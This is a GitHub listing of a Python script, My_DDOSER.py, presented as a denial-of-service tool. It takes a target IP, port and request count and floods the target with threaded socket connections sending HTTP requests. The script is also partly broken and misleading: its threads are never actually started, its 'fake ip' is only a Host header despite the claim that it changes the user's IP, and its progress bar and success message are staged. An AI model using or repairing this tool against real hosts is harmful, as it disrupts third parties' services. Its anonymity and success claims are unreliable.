-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathMy_DDOSER.py
101 lines (70 loc) · 2.34 KB
/
My_DDOSER.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import os
import platform
s = platform.platform()
import webbrowser
from scripts.banner import banner2 , banner , clear
clear()
webbrowser.open("my.html")
try:
import pyfiglet
except ModuleNotFoundError:
os.system("pip install pyfiglet")
import threading
from scripts.sprint import sprint
import socket
import time
from scripts.colors import ran , c , lc ,ly , lg , lr , r , y
banner()
def ddos(port=80):
try:
stream = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
stream.connect((target, port))
stream.sendto((f"GET /{target} HTTP/1.1\r\n").encode("ascii"), (target, port))
stream.sendto(f"HOST: {fake_ip}\r\n\r\n".encode("ascii"), (target, port))
stream.close
except KeyboardInterrupt:
print(f"{lg}Have a Good Day :-)")
except TimeoutError:
print(ly + "\nServer timed out!!!!")
except ConnectionRefusedError:
print(ran, "You've typed wrong ip address")
no = ["n" , "no"]
yes = ["y" , "yes"]
cont =" "
while cont not in no:
target = input(ran + "\nEnter Target ip: ")
try:
port = int(input(f"{ran}\nEnter port number: "))
except ValueError:
port = 80
else:
print(f"{ran}\nport {port} is selected! ")
fake_ip = input(f"{ran}\nType fake ip to hide your identity: "+lg)
range_of_req = int(input(f"{ran}\nEnter the range of requests: " +lg))
sprint(lr + "\nWait until all requests are sent" + ("_" * 10))
ddos(port)
clear()
print(pyfiglet.figlet_format("\tAttack\n\tStarting"))
print(c, "\nChanging Your ip to:", fake_ip)
print(c, "\nConnecting to port! ")
for i in range(range_of_req):
thr = threading.Thread(target=ddos)
thr.start
sprint(r+ "[ ] 0% ")
time.sleep(1)
sprint(r+ "[===== ] 25%")
time.sleep(2)
sprint(r+ "[========== ] 50%")
time.sleep(1)
sprint(r+ "[=============== ] 75%")
time.sleep(2)
sprint(r+ "[====================] 100%")
time.sleep(1)
print(f"{ran}\n\n\r[+]{y} DDOS done successfully! \n\n")
cont = input(ran + "\nDo you want to continue? [y/n]:" + lc).lower()
if cont in no:
clear()
banner2()
else:
clear()
banner2()